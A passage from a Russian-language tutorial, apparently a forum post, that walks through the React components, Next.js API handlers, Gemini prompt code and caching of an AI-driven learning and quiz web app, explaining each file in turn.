  "inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",
  {
    variants: {
      variant: {
        default: "bg-primary text-primary-foreground hover:bg-primary/90",
        destructive:
          "bg-destructive text-destructive-foreground hover:bg-destructive/90",
        outline:
          "border border-input bg-background hover:bg-accent hover:text-accent-foreground",
        secondary:
          "bg-secondary text-secondary-foreground hover:bg-secondary/80",
        ghost: "hover:bg-accent hover:text-accent-foreground",
        link: "text-primary underline-offset-4 hover:underline",
      },
      size: {
        default: "h-10 px-4 py-2",
        sm: "h-9 rounded-md px-3",
        lg: "h-11 rounded-md px-8",
        icon: "h-10 w-10",
      },
    },
    defaultVariants: {
      variant: "default",
      size: "default",
    },
  }
);


export interface ButtonProps
  extends React.ButtonHTMLAttributes<HTMLButtonElement>,
    VariantProps<typeof buttonVariants> {
  asChild?: boolean;
}


const Button = React.forwardRef<HTMLButtonElement, ButtonProps>(
  ({ className, variant, size, asChild = false, ...props }, ref) => {
    const Comp = asChild ? Slot : "button";
    return (
      <Comp
        className={cn(buttonVariants({ variant, size, className }))}
        ref={ref}
        {...props}
      />
    );
  }
);
Button.displayName = "Button";


export { Button, buttonVariants };

Кроме импортов, мы видим что мы имеем сам компонент кнопки с возможностью выбора различных вариантов стилей (например, для разных состояний или размеров) с помощью библиотеки class-variance-authority (CVA) и React. В компоненте используется класс buttonVariants, который описывает несколько вариантов внешнего вида кнопки (например, default, destructive, outline и т.д.) и размеров (например, sm, lg, icon). При рендеринге кнопки можно указать, будет ли она обычной кнопкой (button) или заменена на кастомный элемент (Slot), что позволяет легко изменять компонент под конкретные нужды. Да, вот так это просто с нашим дизайном. Магия еще впереди.

Первый файл по очереди — NotesEditor.tsx. По названию файла можно понять, что он отвечает создание записок на сайте. Давайте взглянем на код:

JavaScript:Copy to clipboard

import { useState } from "react";
import { UserNote } from "@/types";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";


export function NotesEditor({
  stepId,
  onSave,
}: {
  stepId: number;
  onSave: (note: UserNote) => void;
}) {
  const [content, setContent] = useState("");
  const [tags, setTags] = useState<string[]>([]);


  const handleSave = () => {
    const note: UserNote = {
      id: Date.now().toString(),
      content,
      timestamp: new Date(),
      stepId,
      tags,
    };
    onSave(note);
    setContent("");
    setTags([]);
  };


  return (
    <div className="space-y-4 rounded-lg border border-emerald-500/20 bg-black/40 p-4 backdrop-blur">
      <textarea
        value={content}
        onChange={(e) => setContent(e.target.value)}
        className="min-h-[100px] w-full resize-none border-emerald-500/20 bg-black/40 text-emerald-400 placeholder:text-emerald-400/40 focus:border-emerald-500 focus:ring-emerald-500"
        placeholder="Добавьте заметку..."
      />
      <Input
        type="text"
        placeholder="Добавьте теги через запятую"
        className="w-full border-emerald-500/20 bg-black/40 text-emerald-400 placeholder:text-emerald-400/40 focus:border-emerald-500 focus:ring-emerald-500"
        onKeyDown={(e) => {
          if (e.key === "Enter") {
            setTags([...tags, e.currentTarget.value]);
            e.currentTarget.value = "";
          }
        }}
      />
      <Button
        onClick={handleSave}
        className="w-full bg-emerald-500 text-black hover:bg-emerald-400"
      >
        Сохранить заметку
      </Button>
    </div>
  );
}

Внутри используется два состояния: content для текста заметки и tags для тегов. При сохранении заметки, через функцию handleSave, создается объект заметки с уникальным идентификатором (на основе текущего времени), который передается родительскому компоненту через функцию onSave. Пользователь может добавлять теги через поле ввода, где теги добавляются при нажатии клавиши Enter. Это все. Некоторых из вас могут пугать большие стили, но это абсолютно нормально. Таким образом, мы достигли вот такого результата:

Screenshot 2024-11-19 221812.png

Отлично, идем к следующему файлу — Quiz.tsx. Опять же, по названию файла мы поняли, что это относится к некому опроснику. Давайте взглянем на файл:

JavaScript:Copy to clipboard

import { useState } from "react";
import { QuizQuestion, TestResult } from "@/types";
import { Button } from "@/components/ui/button";


export function Quiz({
  questions,
  onComplete,
}: {
  questions: QuizQuestion[];
  onComplete: (result: TestResult) => void;
}) {
  const [currentQuestion, setCurrentQuestion] = useState(0);
  const [answers, setAnswers] = useState<number[]>([]);
  const [showExplanation, setShowExplanation] = useState(false);


  const handleAnswer = (answerIndex: number) => {
    const newAnswers = [...answers, answerIndex];
    setAnswers(newAnswers);
    setShowExplanation(true);


    setTimeout(() => {
      setShowExplanation(false);
      if (currentQuestion < questions.length - 1) {
        setCurrentQuestion((curr) => curr + 1);
      } else {
        // Подсчет результатов
        const incorrectAnswers = questions
          .filter((q, idx) => newAnswers[idx] !== q.correctAnswer)
          .map((q) => q.question);


        const score =
          (newAnswers.filter(
            (answer, idx) => answer === questions[idx].correctAnswer
          ).length /
            questions.length) *
          100;


        onComplete({
          stepId: currentQuestion,
          score,
          completedAt: new Date(),
          incorrectAnswers,
        });
      }
    }, 3000);
  };


  const question = questions[currentQuestion];


  return (
    <div className="rounded-lg border border-emerald-500/20 bg-black/40 p-6 shadow-lg backdrop-blur">
      <div className="mb-4">
        <div className="text-sm text-emerald-400/60">
          Вопрос {currentQuestion + 1} из {questions.length}
        </div>
        <h3 className="mt-2 text-xl font-semibold text-emerald-400">
          {question.question}
        </h3>
      </div>


      <div className="space-y-2">
        {question.options.map((option, idx) => (
          <Button
            key={idx}
            onClick={() => handleAnswer(idx)}
            disabled={showExplanation}
            className={`w-full justify-start p-3 text-left ${
              showExplanation
                ? idx === question.correctAnswer
                  ? "bg-emerald-500 text-black hover:bg-emerald-400"
                  : "bg-red-500 text-white hover:bg-red-400"
                : "bg-black/40 text-emerald-400 hover:bg-emerald-500/20"
            }`}
          >
            {option}
          </Button>
        ))}
      </div>


      {showExplanation && (
        <div className="mt-4 rounded border border-emerald-500/20 bg-black/40 p-4">
          <p className="text-sm text-emerald-400/80">{question.explanation}</p>
        </div>
      )}
    </div>
  );
}

Код реализует функциональность викторины с вопросами и ответами. Он принимает список вопросов (questions) и функцию обратного вызова onComplete, которая вызывается по завершении викторины с результатами. Внутри используются состояния для отслеживания текущего вопроса (currentQuestion), выбранных ответов (answers) и флага для отображения объяснений (showExplanation). При выборе ответа, через handleAnswer, выбранный индекс добавляется в список ответов, и показывается объяснение правильного ответа. После задержки в 3 секунды отображается следующий вопрос или, если это последний вопрос, подсчитываются результаты. Результаты включают процент правильных ответов и список некорректных вопросов, после чего вызывается onComplete. Визуальные элементы, такие как кнопки с вариантами ответов, меняют стиль в зависимости от правильности выбранного ответа. Мы пока не знаем, откуда берутся вопросы, но не бойтесь, это дело ИИ. Мы лишь обрабатываем их и визуализируем красиво. Вот результат:

Screenshot 2024-11-19 205835.pngScreenshot 2024-11-19 205818.png

Итак, последний компонент — StudyMetrics.tsx. Тут у уже могут возникнуть некоторые трудности. На этом этапе вы столкнетесь с несколькими, связанными с эффективным отображением и анализом учебных данных. Основная трудность заключается в правильной обработке и визуализации информации о прогрессе ученика в виде графиков, средних значений и областей для улучшения. Но повезло что это может сделать progressAnalytics. Так что пока наша задача это только правильно обработать и представить визуально. Смотрим на код:

JavaScript:Copy to clipboard

import { useState } from "react";
import { ProgressAnalytics } from "@/utils/progressAnalytics";
import {
  LineChart,
  Line,
  XAxis,
  YAxis,
  Tooltip,
  CartesianGrid,
  ResponsiveContainer,
} from "recharts";
import { LearningSession } from "../types";
import { Button } from "@/components/ui/button";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";


export function StudyMetrics({ session }: { session: LearningSession }) {
  const [isVisible, setIsVisible] = useState(false);
  const metrics = ProgressAnalytics.analyzePerformance(session);
  const progressData = session.testResults.map((result, index) => ({
    name: `Тест ${index + 1}`,
    score: result.score,
  }));


  const handleClick = () => {
    setIsVisible(true);
  };


  return (
    <Card className="border border-emerald-500/20 bg-black/40 text-emerald-400 shadow-lg backdrop-blur">
      <CardHeader>
        <CardTitle className="text-xl font-semibold">Анализ прогресса</CardTitle>
      </CardHeader>
      <CardContent>
        {!isVisible ? (
          <Button
            onClick={handleClick}
            className="w-full bg-emerald-500 text-black hover:bg-emerald-400"
          >
            Показать анализ
          </Button>
        ) : (
          <>
            <div className="mb-6 grid grid-cols-1 gap-4 md:grid-cols-2">
              <Card className="border border-emerald-500/20 bg-black/60">
                <CardHeader>
                  <CardTitle className="text-sm font-medium">Средний балл</CardTitle>
                </CardHeader>
                <CardContent>
                  <p className="text-2xl font-bold">
                    {metrics.averageScore.toFixed(1)}%
                  </p>
                </CardContent>
              </Card>


              <Card className="border border-emerald-500/20 bg-black/60">
                <CardHeader>
                  <CardTitle className="text-sm font-medium">Время обучения</CardTitle>
                </CardHeader>
                <CardContent>
                  <p className="text-2xl font-bold">
                    {metrics.studyTime > 0
                      ? `${metrics.studyTime} мин.`
                      : "Недостаточно данных"}
                  </p>
                </CardContent>
              </Card>
            </div>


            <div className="mb-6">
              <h4 className="mb-2 font-medium">Прогресс по тестам</h4>
              <ResponsiveContainer width="100%" height={300}>
                <LineChart data={progressData}>
                  <Line type="monotone" dataKey="score" stroke="#10b981" />
                  <CartesianGrid stroke="#1f2937" />
                  <XAxis dataKey="name" stroke="#6ee7b7" />
                  <YAxis stroke="#6ee7b7" />
                  <Tooltip
                    content={({ payload }) => (
                      <div className="rounded bg-black/80 p-2 text-emerald-400">
                        {payload?.[0]?.payload.name}: {payload?.[0]?.value}%
                      </div>
                    )}
                  />
                </LineChart>
              </ResponsiveContainer>
            </div>


            {metrics.weakAreas.length > 0 && (
              <div className="mb-6">
                <h4 className="mb-2 font-medium">Области для улучшения</h4>
                <ul className="list-inside list-disc space-y-1">
                  {metrics.weakAreas.map((area, index) => (
                    <li
                      key={index}
                      className="cursor-pointer text-emerald-400 hover:underline"
                    >
                      {area}
                    </li>
                  ))}
                </ul>
              </div>
            )}
            <div className="mb-6">
              <h4 className="mb-2 font-medium">Активность по заметкам</h4>
              <div className="flex flex-wrap gap-2">
                {metrics.notesAnalysis.commonTags.map((tag, index) => (
                  <span
                    key={index}
                    className="rounded bg-emerald-500/20 px-2 py-1 text-sm text-emerald-400"
                  >
                    #{tag}
                  </span>
                ))}
              </div>
            </div>
          </>
        )}
      </CardContent>
    </Card>
  );
}

Он вычисляет метрики, такие как средний балл, время обучения и слабые области с помощью ProgressAnalytics.analyzePerformance. В компоненте есть состояние isVisible, которое управляет видимостью подробного анализа (так называемый спрятанный элемент под кнопкой). После клика на кнопку отображаются карточки с метриками (средний балл и время обучения), график прогресса по тестам с использованием библиотеки Recharts, а также список областей для улучшения и популярных тегов из заметок. Все данные обновляются динамически и отображаются в структурированном виде.

С установкой Recharts были некоторые проблемы с установкой но решить их удалсь с помошью команды npm install recharts@latest --force

Результат радует глаз:

Screenshot 2024-11-19 210110.png

С компонентами закончили, теперь давайте взглянем, как работает наш ИИ, а точнее, API проекта. Во-первых, мы будем использовать Gemini от Google. У них есть бесплатный ключ, который нужно вставить в файл .env под переменной GEMINI_API_KEY. Документация у них легко читается и очень схожа с ChatGPT. API ответит с контентом для следующего этапа обучения и рекомендациями по повторению. Давайте посмотрим на первый файл — optimize-content.ts

JavaScript:Copy to clipboard

import { NextApiRequest, NextApiResponse } from "next";
import { generateLearningContent } from "@/utils/ai";
import { SpacedRepetition } from "@/utils/spaced-repetition";
import { ProgressAnalytics } from "@/utils/progressAnalytics";


export default async function handler(
  req: NextApiRequest,
  res: NextApiResponse
) {
  if (req.method !== "POST") {
    return res.status(405).json({ message: "Method not allowed" });
  }


  try {
    const { session } = req.body;
    const analytics = ProgressAnalytics.analyzePerformance(session);
    const reviewSchedule = SpacedRepetition.generateReviewSchedule(session);


    // Оптимизируем следующий контент на основе анализа
    const optimizedPrompt = `
      Тема: ${session.topic}
      Этап: ${session.currentStage + 1}
      Слабые места: ${analytics.weakAreas.join(", ")}
      Средний балл: ${analytics.averageScore}
    
      Пожалуйста, создайте контент, который:
      1. Уделяет особое внимание выявленным слабым местам
      2. Соответствует текущему уровню пользователя
      3. Включает практические примеры
      4. Содержит проверочные вопросы
    `;


    const content = await generateLearningContent(
      session.topic,
      session.currentStage + 1,
      optimizedPrompt,
      session.lastApiCall
    );


    res.status(200).json({
      content,
      nextReview: reviewSchedule[0]?.nextReview,
      recommendations: analytics.recommendedReview,
    });
  } catch (error) {
    console.error("Error optimizing content:", error);
    res.status(500).json({ message: "Error optimizing content" });
  }
}

Первый обработчик более сложен (чем второй который мы разберем ниже) и включает анализ прогресса с использованием методов ProgressAnalytics и генерацию расписания повторений через SpacedRepetition. Он получает данные о текущей сессии, анализирует слабые места и прогресс пользователя, а затем генерирует оптимизированный запрос для создания контента. Контент адаптируется в зависимости от слабых мест учащегося и его текущего уровня. Ответ включает не только сам контент, но и информацию о следующем повторении и рекомендации для дальнейшего обучения. Благодаря такой умной системе мы сможем создать более точную и персонализированную программу для каждого пользователя. И второй обработчик — generate-content.ts:

JavaScript:Copy to clipboard

import { NextApiRequest, NextApiResponse } from "next";
import { generateLearningContent } from "@/utils/ai";


export default async function handler(
  req: NextApiRequest,
  res: NextApiResponse
) {
  if (req.method !== "POST") {
    return res.status(405).json({ message: "Method not allowed" });
  }


  try {
    const { topic, currentStage, previousContent, lastApiCall } = req.body;


    const content = await generateLearningContent(
      topic,
      currentStage,
      previousContent,
      lastApiCall
    );


    res.status(200).json({ content });
  } catch (error) {
    console.error("Error generating content:", error);
    res.status(500).json({ message: "Error generating content" });
  }
}

Второй API-обработчик генерирует обучающий контент на основе данных, полученных от клиента. Он принимает запросы с методом POST, извлекает данные о теме, текущем этапе, предыдущем контенте и времени последнего запроса, а затем передает их в функцию generateLearningContent, которая создает персонализированный контент для пользователя. Если метод не POST, возвращается ошибка с кодом 405. Просто и быстро.

Переход к основным файлам​

То, что мы разобрали ранее, отвечало либо за визуальную часть, либо за простую обработку основных функций проекта. Сейчас же мы перейдем к самому важному — к тому, на чём реально строится вся логика проекта, а именно этим файлам:

Screenshot 2024-11-19 225747.png

Здесь я уже рекомендую впитывать код и объяснения как губка, ведь именно тут кроются все прелести фреймворка и нашего приложения.

Начнём с index.tsx — главного файла нашего сайта. Я разобью его на несколько частей, так как файл достаточно большой.

JavaScript:Copy to clipboard

"use client";


import { useState, useEffect } from "react";
import {
  Card,
  CardContent,
  CardDescription,
  CardHeader,
  CardTitle,
} from "@/components/ui/card";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { Progress } from "@/components/ui/progress";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { ScrollArea } from "@/components/ui/scroll-area";
import { LearningSession, TestResult, UserNote } from "@/types";
import { NotesEditor } from "@/components/NotesEditor";
import { Quiz } from "@/components/Quiz";
import { Cache } from "@/utils/cache";
import { StudyMetrics } from "@/components/StudyMetrics";
import { ChevronRight, BookOpen, PenTool, Brain, Sparkles } from 'lucide-react';


export default function Home() {
  const [session, setSession] = useState<LearningSession | null>(null);
  const [topic, setTopic] = useState("");
  const [loading, setLoading] = useState(false);
  const [showQuiz, setShowQuiz] = useState(false);
  const [cache] = useState(new Cache());


  useEffect(() => {
    const savedSessions = Object.keys(localStorage)
      .filter((key) => key.startsWith("learning_session_"))
      .map((key) => JSON.parse(localStorage.getItem(key) || ""))
      .sort((a, b) => b.timestamp - a.timestamp);


    if (savedSessions.length > 0) {
      setSession(savedSessions[0]);
    }
  }, []);

Ничего необычного, используется несколько хуков React для управления состоянием. session хранит информацию о текущей сессии обучения, включая её прогресс, темы и другие данные. topic используется для хранения введённой пользователем темы обучения, а loading контролирует состояние загрузки (например, во время запроса к API). Флаг showQuiz определяет, показывать ли квиз. Также используется useState для кэширования данных в локальном хранилище сессий.

JavaScript:Copy to clipboard

const clearCache = () => {
    if (session) {
      cache.archive(`learning_session_${session.id}`);
    }
    localStorage.clear();
    setSession(null);
  };


  const startNewSession = async () => {
    setLoading(true);
    try {
      const response = await fetch("/api/generate-content", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          topic,
          stage: 1,
          lastApiCall: session?.lastApiCall || 0,
        }),
      });


      if (response.status === 429) {
        throw new Error("Request limit exceeded. Please wait a minute.");
      }


      const data = await response.json();
      const sanitizedContent = data.content.replace(/[\x00-\x1F\x7F]/g, "");
      const content = JSON.parse(sanitizedContent);


      const newSession: LearningSession = {
        id: Date.now().toString(),
        topic,
        currentStage: 1,
        progress: 0,
        history: [
          {
            stage: 1,
            content: content.content,
            completed: false,
            timestamp: new Date(),
            quiz: content.quiz,
            summary: content.summary,
          },
        ],
        notes: [],
        testResults: [],
        lastApiCall: Date.now(),
      };


      setSession(newSession);
      localStorage.setItem(
        `learning_session_${newSession.id}`,
        JSON.stringify(newSession)
      );
    } catch (error) {
      console.error("Error starting session:", error);
      alert(error instanceof Error ? error.message : "An error occurred");
    } finally {
      setLoading(false);
    }
  };


  const handleNoteAdd = (note: UserNote) => {
    if (!session) return;
    const updatedSession = {
      ...session,
      notes: [...session.notes, note],
    };
    setSession(updatedSession);
    localStorage.setItem(
      `learning_session_${session.id}`,
      JSON.stringify(updatedSession)
    );
  };


  const handleQuizComplete = (result: TestResult) => {
    if (!session) return;
    const updatedSession = {
      ...session,
      testResults: [...session.testResults, result],
      progress: calculateProgress(session, result),
    };
    setSession(updatedSession);
    localStorage.setItem(
      `learning_session_${session.id}`,
      JSON.stringify(updatedSession)
    );
    setShowQuiz(false);
  };


  const calculateProgress = (
    session: LearningSession,
    newResult: TestResult
  ): number => {
    const totalSteps = session.history.length;
    const completedSteps = session.testResults.length;
    const averageScore =
      [...session.testResults, newResult].reduce(
        (acc, curr) => acc + curr.score,
        0
      ) /
      (completedSteps + 1);


    return Math.round((completedSteps / totalSteps) * averageScore);
  };

Функция clearCache очищает локальное хранилище и сбрасывает текущую сессию, удаляя все сохранённые данные. startNewSession инициирует новую сессию, отправляя запрос на сервер для получения контента по выбранной теме. Этот контент затем сохраняется в состоянии и локальном хранилище.
Функции handleNoteAdd и handleQuizComplete позволяют пользователю добавлять заметки и завершать квиз, обновляя сессию и её сохранение в локальном хранилище. calculateProgress вычисляет общий прогресс сессии на основе результатов тестов и числа завершённых шагов. Идем дальше:

JavaScript:Copy to clipboard

return (
    <div className="min-h-screen bg-black">
      <div className="absolute inset-0 z-0 bg-[linear-gradient(transparent_1px,#000_1px),linear-gradient(90deg,transparent_1px,#000_1px)] bg-[size:30px_30px] [background-position:center] [mask-image:linear-gradient(to_bottom,transparent,black)]">
        <div className="absolute inset-0 bg-[radial-gradient(circle_500px_at_50%_200px,#1DFF7733,transparent)]" />
      </div>


      <div className="pointer-events-none fixed inset-0 z-10">
        <div className="absolute right-[20%] top-20 h-32 w-32 animate-float">
          <div className="h-full w-full rounded-xl bg-gradient-to-br from-emerald-400/20 to-emerald-600/20 backdrop-blur" />
        </div>
        <div className="absolute left-[15%] top-40 h-24 w-24 animate-float-slow">
          <div className="h-full w-full rounded-xl bg-gradient-to-br from-blue-400/20 to-blue-600/20 backdrop-blur" />
        </div>
      </div>


      <div className="relative z-20 mx-auto max-w-[85vw] px-4 py-12">
        <div className="mb-12 flex items-center justify-center gap-3">
          <Sparkles className="h-8 w-8 text-emerald-400" />
          <h1 className="bg-gradient-to-r from-emerald-400 to-emerald-600 bg-clip-text text-4xl font-bold text-transparent md:text-5xl">
            AI Learning System
          </h1>
        </div>


        {!session ? (
          <Card className="mx-auto max-w-lg border border-emerald-500/20 bg-black/40 shadow-2xl backdrop-blur">
            <CardHeader>
              <CardTitle className="text-2xl text-emerald-400">
                Start Your Learning Journey
              </CardTitle>
              <CardDescription className="text-emerald-400/60">
                Enter a topic to begin your AI-powered study session
              </CardDescription>
            </CardHeader>
            <CardContent>
              <div className="space-y-4">
                <Input
                  type="text"
                  value={topic}
                  onChange={(e) => setTopic(e.target.value)}
                  placeholder="Enter a topic to study"
                  className="border-emerald-500/20 bg-black/40 text-emerald-400 placeholder:text-emerald-400/40"
                />
                <Button
                  onClick={startNewSession}
                  disabled={loading || !topic}
                  className="relative w-full overflow-hidden bg-emerald-500 text-black transition-all hover:bg-emerald-400"
                >
                  <div className="relative z-10 flex items-center justify-center gap-2">
                    {loading ? "Loading..." : "Start Learning"}
                    <ChevronRight className="h-4 w-4" />
                  </div>
                </Button>
              </div>
            </CardContent>
          </Card>
        ) : (
          <div className="space-y-6">
            <Card className="border border-emerald-500/20 bg-black/40 shadow-xl backdrop-blur">
              <CardHeader>
                <CardTitle className="text-xl text-emerald-400">
                  Topic: {session.topic}
                </CardTitle>
                <CardDescription className="text-emerald-400/60">
                  Your current learning progress
                </CardDescription>
              </CardHeader>
              <CardContent>
                <Progress
                  value={session.progress}
                  className="h-2 bg-emerald-500/20"
                />
                <p className="mt-2 text-sm text-emerald-400/60">
                  Progress: {session.progress}%
                </p>
              </CardContent>
            </Card>


            <StudyMetrics session={session} />


            <Tabs defaultValue="content" className="w-full">
              <TabsList className="grid w-full grid-cols-3 bg-black/40 p-1">
                <TabsTrigger
                  value="content"
                  className="data-[state=active]:bg-emerald-500 data-[state=active]:text-black"
                >
                  <BookOpen className="mr-2 h-4 w-4" />
                  Content
                </TabsTrigger>
                <TabsTrigger
                  value="notes"
                  className="data-[state=active]:bg-emerald-500 data-[state=active]:text-black"
                >
                  <PenTool className="mr-2 h-4 w-4" />
                  Notes
                </TabsTrigger>
                <TabsTrigger
                  value="quiz"
                  className="data-[state=active]:bg-emerald-500 data-[state=active]:text-black"
                >
                  <Brain className="mr-2 h-4 w-4" />
                  Quiz
                </TabsTrigger>
              </TabsList>


              <TabsContent value="content">
                <Card className="border border-emerald-500/20 bg-black/40 shadow-xl backdrop-blur">
                  <CardHeader>
                    <CardTitle className="text-xl text-emerald-400">
                      Learning Content
                    </CardTitle>
                  </CardHeader>
                  <CardContent>
                    <ScrollArea className="h-[60vh] pr-4">
                      {session.history.map((step) => (
                        <div key={step.stage} className="mb-8">
                          <h3 className="mb-4 text-xl font-semibold text-emerald-400">
                            Stage {step.stage}
                          </h3>
                          <div className="prose prose-invert max-w-none">
                            <div className="mb-6 whitespace-pre-wrap text-emerald-400/80">
                              {step.content}
                            </div>
                            <Card className="border border-emerald-500/20 bg-black/40">
                              <CardHeader>
                                <CardTitle className="text-lg text-emerald-400">
                                  Summary
                                </CardTitle>
                              </CardHeader>
                              <CardContent>
                                <p className="text-emerald-400/80">
                                  {step.summary}
                                </p>
                              </CardContent>
                            </Card>
                          </div>
                        </div>
                      ))}
                    </ScrollArea>
                  </CardContent>
                </Card>
              </TabsContent>


              <TabsContent value="notes">
                <Card className="border border-emerald-500/20 bg-black/40 shadow-xl backdrop-blur">
                  <CardHeader>
                    <CardTitle className="text-xl text-emerald-400">
                      Your Notes
                    </CardTitle>
                  </CardHeader>
                  <CardContent>
                    <NotesEditor
                      stepId={session.currentStage}
                      onSave={handleNoteAdd}
                    />
                    <ScrollArea className="mt-6 h-[40vh] pr-4">
                      {session.notes.map((note, index) => (
                        <Card
                          key={index}
                          className="mb-4 border border-emerald-500/20 bg-black/40"
                        >
                          <CardHeader>
                            <CardTitle className="text-sm text-emerald-400">
                              Note for Stage {note.stepId}
                            </CardTitle>
                          </CardHeader>
                          <CardContent>
                            <p className="text-emerald-400/80">{note.content}</p>
                          </CardContent>
                        </Card>
                      ))}
                    </ScrollArea>
                  </CardContent>
                </Card>
              </TabsContent>


              <TabsContent value="quiz">
                <Card className="border border-emerald-500/20 bg-black/40 shadow-xl backdrop-blur">
                  <CardHeader>
                    <CardTitle className="text-xl text-emerald-400">
                      Quiz
                    </CardTitle>
                  </CardHeader>
                  <CardContent>
                    {!showQuiz ? (
                      <Button
                        onClick={() => setShowQuiz(true)}
                        className="w-full bg-emerald-500 text-black hover:bg-emerald-400"
                      >
                        Start Quiz
                      </Button>
                    ) : (
                      <Quiz
                        questions={
                          session.history[session.currentStage - 1].quiz
                        }
                        onComplete={handleQuizComplete}
                      />
                    )}
                  </CardContent>
                </Card>
              </TabsContent>
            </Tabs>

Основной интерфейс страницы включает проверку на наличие активной сессии. Если сессия не найдена, пользователь видит форму для ввода темы, чтобы начать обучение. Если сессия уже существует, отображается прогресс, метрики и вкладки: контент, заметки и квиз. Вкладка "Content" показывает шаги обучения, вкладка "Notes" позволяет добавлять заметки, а вкладка "Quiz" предлагает начать тест. Всё это происходит в интерактивной форме, с сохранением состояния обучения.

Для визуализации используются элементы, такие как карточки (Card) для отображения шагов обучения и заметок, прогресс-бары (Progress) для отслеживания прогресса, и вкладки (Tabs) для переключения между различными разделами обучения. Визуальные эффекты, такие как анимации и градиентные фоны, создают привлекательный и современный дизайн интерфейса. Все как мы любим, пытаемся удержать внимание пользователя.

Почему же эта система хороша? Она оптимизирована для эффективного использования ресурсов.

Во-первых, она адаптирует контент в зависимости от прогресса пользователя, минимизируя излишнюю информацию.

Во-вторых, все данные сессии сохраняются в localStorage, что позволяет продолжить обучение с того места, где было прервано, даже после перезагрузки страницы.

Также система ограничивает количество запросов к серверу, отправляя их только при необходимости, это снижает нагрузку на API (для Google это не проблема, а для нашего ограниченного бесплатного использования - да).

Использование кэширования помогает ускорить процесс работы и снизить время ожидания при запуске новой сессии. (хотя над производительностью надо поработать, lighthouse подсвечивает около 50)

Перейдем к следующему файлу — ai.ts. Сначало, взглянем:

JavaScript:Copy to clipboard

import { GoogleGenerativeAI } from "@google/generative-ai";
import { Cache } from "./cache";


const genAI = new GoogleGenerativeAI(process.env.GEMINI_API_KEY || "");
const cache = new Cache();


const RATE_LIMIT_WINDOW = 60000;
const MAX_REQUESTS = 10;


export async function generateLearningContent(
  topic: string,
  currentStage: number,
  previousContent: string = "",
  lastApiCall: number
) {
  const cacheKey = `${topic}-${currentStage}`;
  const cachedContent = cache.get(cacheKey);
  if (cachedContent) {
    return cachedContent;
  }


  const now = Date.now();
  if (now - lastApiCall < RATE_LIMIT_WINDOW / MAX_REQUESTS) {
    throw new Error("Rate limit exceeded");
  }


  const model = genAI.getGenerativeModel({ model: "gemini-pro" });


  const prompt = `Создай образовательный контент для темы "${topic}" (этап ${currentStage}/5).
    Формат ответа должен быть в JSON:
    {
      "content": "основной обучающий материал",
      "summary": "краткое содержание для повторения",
      "quiz": [
        {
          "question": "вопрос",
          "options": ["вариант 1", "вариант 2", "вариант 3", "вариант 4"],
          "correctAnswer": 0,
          "explanation": "объяснение правильного ответа"
        }
      ],
      "keyPoints": ["ключевой момент 1", "ключевой момент 2"],
      "practicalTask": "практическое задание"
    }


    Контекст предыдущего этапа (кратко): ${
      previousContent ? previousContent.substring(0, 200) + "..." : "нет"
    }`;


  const result = await model.generateContent(prompt);
  const response = await result.response;
  const content = response.text();


  // Сохраняем в кэш
  cache.set(cacheKey, content, 3600);


  return content;
}

Функция-промпт generateLearningContent генерирует образовательный контент для заданной темы и этапа, сначала проверяя наличие данных в кэше. Если контент уже кэширован, он возвращается, что ускоряет работу.

Если контент отсутствует в кэше, проверяется лимит запросов (10 запросов в минуту). При превышении лимита выбрасывается ошибка. Если лимит не нарушен, отправляется запрос к модели с заранее заданным промтом, который включает структуру контента (основной материал, тесты, ключевые моменты и задание). Полученный контент сохраняется в кэш на 1 час для повторного использования. А как же у нас выглядит файл кэша? Сейчас расскажу:

JavaScript:Copy to clipboard

export class Cache {
  private cache: Map<string, { value: any; expires: number }> = new Map();


  set(key: string, value: any, ttl: number) {
    const expires = Date.now() + ttl * 1000;
    this.cache.set(key, { value, expires });
  }
  get(key: string) {
    const item = this.cache.get(key);
    if (!item) return null;
    if (Date.now() > item.expires) {
      this.cache.delete(key);
      return null;
    }
    return item.value;
  }


  clear() {
    this.cache.clear();
  }


  archive(key: string) {
    const item = this.cache.get(key);
    if (item) {
      const archive = JSON.parse(localStorage.getItem("archive") || "[]");
      archive.push(item);
      localStorage.setItem("archive", JSON.stringify(archive));
      this.cache.delete(key);
    }
  }
}

Класс Cache реализует простое кэширование с поддержкой времени жизни (TTL) и возможностью архивации данных.

В методе set сохраняется элемент с заданным ключом, значением и временем истечения. Время истечения рассчитывается как текущее время плюс TTL (в секундах).

Метод get позволяет получить данные по ключу, если они не истекли; если срок истек, элемент удаляется из кэша и возвращается null.

Метод clear очищает весь кэш, а archive позволяет перемещать данные из кэша в localStorage в раздел "archive". После архивации элемент удаляется из кэша.

Мы почти на финишной прямой, осталось только два файла. Давайте быстро пробежимся по тому, что мы уже успели разобрать:

Сначала мы познакомились с тремя компонентами, которые отвечали за написание заметок, отображение метрик и прохождение тестов. Также, мы изучили ShadCN — библиотеку для UI-компонентов. Затем мы разобрали, как обрабатывается ИИ через API приложения и принцип работы с Gemini. Перейдя к исходному коду, мы увидели, как работает главная страница. Это большой файл, который охватывает всё: от компонентов до обработки сессий и распределения ресурсов. Наконец, мы рассмотрели умную систему ИИ и увидели, как обрабатывается кэш и эффективно используется бесплатное API.

Теперь нам осталось только разобрать, как анализируется прогресс для метрик и как осуществляется анализ пользовательского прогресса для передачи его ИИ.

Файл progressAnalytics.ts:

JavaScript:Copy to clipboard

import {
  LearningSession,
  PerformanceMetrics,
  TestResult,
  UserNote,
  NoteAnalysis,
} from "../types";


export class ProgressAnalytics {
  static analyzePerformance(
    session: LearningSession | null
  ): PerformanceMetrics {
    if (!session || !session.testResults) {
      throw new Error("Invalid or empty session data provided.");
    }


    const { testResults, notes } = session;


    return {
      averageScore: this.calculateAverageScore(testResults),
      weakAreas: this.identifyWeakAreas(testResults),
      studyTime: this.calculateStudyTime(session),
      notesAnalysis: this.analyzeNotes(notes || []),
      recommendedReview: this.generateReviewRecommendations(testResults),
    };
  }


  private static calculateAverageScore(results: TestResult[]): number {
    if (results.length === 0) return 0;
    const totalScore = results.reduce((acc, curr) => acc + curr.score, 0);
    return results.length > 0 ? totalScore / results.length : 0;
